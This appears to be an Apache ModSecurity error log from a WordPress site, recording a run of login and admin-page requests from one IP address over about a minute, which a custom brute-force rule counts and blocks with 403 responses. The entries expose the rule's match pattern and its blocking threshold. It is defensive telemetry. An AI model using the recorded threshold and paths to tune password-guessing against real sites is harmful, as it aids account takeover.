[Fri Feb 27 21:05:40.815973 2026] [:error] [pid 54102:tid 54166] [client 159.203.62.100:51722] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGWpHi74D4fiYUm_Gdq4wAAAJY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:41.738633 2026] [:error] [pid 56075:tid 56097] [client 159.203.62.100:51734] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWpcKBhrfI6KNv9Ri3tAAAABM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:44.640545 2026] [:error] [pid 56075:tid 56090] [client 159.203.62.100:51734] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWqMKBhrfI6KNv9Ri3vgAAAAw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:46.020334 2026] [:error] [pid 56075:tid 56083] [client 159.203.62.100:51734] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWqsKBhrfI6KNv9Ri3wQAAAAY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:46.020405 2026] [:error] [pid 56075:tid 56083] [client 159.203.62.100:51734] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 14"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWqsKBhrfI6KNv9Ri3wQAAAAY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:48.374457 2026] [:error] [pid 56075:tid 56080] [client 159.203.62.100:51738] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWrMKBhrfI6KNv9Ri31QAAAAM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:48.374530 2026] [:error] [pid 56075:tid 56080] [client 159.203.62.100:51738] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWrMKBhrfI6KNv9Ri31QAAAAM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:49.208964 2026] [:error] [pid 56075:tid 56087] [client 159.203.62.100:38864] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGWrcKBhrfI6KNv9Ri32wAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:50.051191 2026] [:error] [pid 54231:tid 54250] [client 159.203.62.100:38878] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGWruTvb5AeyJCdY7AKgAAAAFA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:50.890314 2026] [:error] [pid 62998:tid 63015] [client 159.203.62.100:38886] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGWrlQeueXZDUmoLolAlQAAAQ0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:51.728026 2026] [:error] [pid 54103:tid 54177] [client 159.203.62.100:38898] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWr-vG4MPCmE0B2sChFwAAAMY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:51.728110 2026] [:error] [pid 54103:tid 54177] [client 159.203.62.100:38898] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWr-vG4MPCmE0B2sChFwAAAMY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:53.918647 2026] [:error] [pid 54231:tid 54241] [client 159.203.62.100:38910] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWseTvb5AeyJCdY7AKiAAAAEc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:55.229915 2026] [:error] [pid 54231:tid 54239] [client 159.203.62.100:38910] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWs-Tvb5AeyJCdY7AKkgAAAEU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:55.230002 2026] [:error] [pid 54231:tid 54239] [client 159.203.62.100:38910] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWs-Tvb5AeyJCdY7AKkgAAAEU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:56.067519 2026] [:error] [pid 62998:tid 63004] [client 159.203.62.100:38926] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGWtFQeueXZDUmoLolAmwAAAQI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:56.906308 2026] [:error] [pid 52073:tid 52093] [client 159.203.62.100:38932] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGWtIa650YPyxXVeRZADAAAAZE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:57.738621 2026] [:error] [pid 52073:tid 52092] [client 159.203.62.100:38936] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGWtYa650YPyxXVeRZAEQAAAZA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:58.579308 2026] [:error] [pid 52073:tid 52088] [client 159.203.62.100:38942] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGWtoa650YPyxXVeRZAGgAAAYw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:59.415908 2026] [:error] [pid 52073:tid 52086] [client 159.203.62.100:37904] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWt4a650YPyxXVeRZAHgAAAYo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:05:59.416029 2026] [:error] [pid 52073:tid 52086] [client 159.203.62.100:37904] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 15"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWt4a650YPyxXVeRZAHgAAAYo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:00.255584 2026] [:error] [pid 49306:tid 49316] [client 159.203.62.100:37914] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 15"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGWuPnSUDZue59Px9sKcAAAAUg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:01.098054 2026] [:error] [pid 62998:tid 63015] [client 159.203.62.100:37930] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 15"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGWuVQeueXZDUmoLolApAAAAQ0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:01.932655 2026] [:error] [pid 56075:tid 56084] [client 159.203.62.100:37934] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 15"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGWucKBhrfI6KNv9Ri3_wAAAAc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:02.769244 2026] [:error] [pid 52073:tid 52099] [client 159.203.62.100:37948] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWuoa650YPyxXVeRZAMAAAAZc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:02.769303 2026] [:error] [pid 52073:tid 52099] [client 159.203.62.100:37948] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWuoa650YPyxXVeRZAMAAAAZc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:03.606863 2026] [:error] [pid 56075:tid 56087] [client 159.203.62.100:37956] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGWu8KBhrfI6KNv9Ri4BAAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:04.439084 2026] [:error] [pid 56075:tid 56092] [client 159.203.62.100:37960] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGWvMKBhrfI6KNv9Ri4CgAAAA4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:05.276929 2026] [:error] [pid 52073:tid 52098] [client 159.203.62.100:37966] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGWvYa650YPyxXVeRZAPAAAAZY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:06.114059 2026] [:error] [pid 56075:tid 56077] [client 159.203.62.100:37982] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGWvsKBhrfI6KNv9Ri4HAAAAAA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:06.961304 2026] [:error] [pid 56075:tid 56079] [client 159.203.62.100:37990] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWvsKBhrfI6KNv9Ri4JQAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:06.961418 2026] [:error] [pid 56075:tid 56079] [client 159.203.62.100:37990] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWvsKBhrfI6KNv9Ri4JQAAAAI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:09.421386 2026] [:error] [pid 56075:tid 56095] [client 159.203.62.100:37998] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWwcKBhrfI6KNv9Ri4OwAAABE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:10.719787 2026] [:error] [pid 56075:tid 56085] [client 159.203.62.100:37998] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWwsKBhrfI6KNv9Ri4SwAAAAg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:11.965862 2026] [:error] [pid 56075:tid 56084] [client 159.203.62.100:37998] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGWw8KBhrfI6KNv9Ri4UAAAAAc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:12.806568 2026] [:error] [pid 62998:tid 63002] [client 159.203.62.100:59694] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGWxFQeueXZDUmoLolAsAAAAQE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:13.639813 2026] [:error] [pid 49306:tid 49314] [client 159.203.62.100:59702] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGWxfnSUDZue59Px9sKnwAAAUY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:14.470963 2026] [:error] [pid 49306:tid 49330] [client 159.203.62.100:59710] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGWxvnSUDZue59Px9sKpgAAAVY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:15.305185 2026] [:error] [pid 49306:tid 49328] [client 159.203.62.100:59716] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWx_nSUDZue59Px9sKrAAAAVQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:15.305249 2026] [:error] [pid 49306:tid 49328] [client 159.203.62.100:59716] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 14"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWx_nSUDZue59Px9sKrAAAAVQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:17.482031 2026] [:error] [pid 49306:tid 49319] [client 159.203.62.100:59728] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWyfnSUDZue59Px9sKsgAAAUs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:18.708140 2026] [:error] [pid 49306:tid 49330] [client 159.203.62.100:59728] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWyvnSUDZue59Px9sKtgAAAVY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:19.993766 2026] [:error] [pid 49306:tid 49329] [client 159.203.62.100:59728] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGWy_nSUDZue59Px9sKuQAAAVU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:20.832501 2026] [:error] [pid 62998:tid 63001] [client 159.203.62.100:41294] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGWzFQeueXZDUmoLolAugAAAQA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:21.671161 2026] [:error] [pid 54102:tid 54150] [client 159.203.62.100:41296] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGWzXi74D4fiYUm_Gdq6gAAAIY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:22.503805 2026] [:error] [pid 62998:tid 63025] [client 159.203.62.100:41312] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGWzlQeueXZDUmoLolAvgAAARc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:23.341144 2026] [:error] [pid 54103:tid 54183] [client 159.203.62.100:41324] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGWz-vG4MPCmE0B2sChNwAAAMw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:26.158782 2026] [:error] [pid 54103:tid 54180] [client 159.203.62.100:41324] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGW0uvG4MPCmE0B2sChPAAAAMk"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:27.481644 2026] [:error] [pid 54103:tid 54182] [client 159.203.62.100:41324] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGW0-vG4MPCmE0B2sChPgAAAMs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:27.481705 2026] [:error] [pid 54103:tid 54182] [client 159.203.62.100:41324] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGW0-vG4MPCmE0B2sChPgAAAMs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:29.714001 2026] [:error] [pid 49306:tid 49329] [client 159.203.62.100:41332] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGW1fnSUDZue59Px9sKzAAAAVU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:31.021899 2026] [:error] [pid 49306:tid 49321] [client 159.203.62.100:41332] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGW1_nSUDZue59Px9sK0gAAAU0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:06:31.021944 2026] [:error] [pid 49306:tid 49321] [client 159.203.62.100:41332] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGW1_nSUDZue59Px9sK0gAAAU0"], referer: https://gigfragments.org/wp-login.php
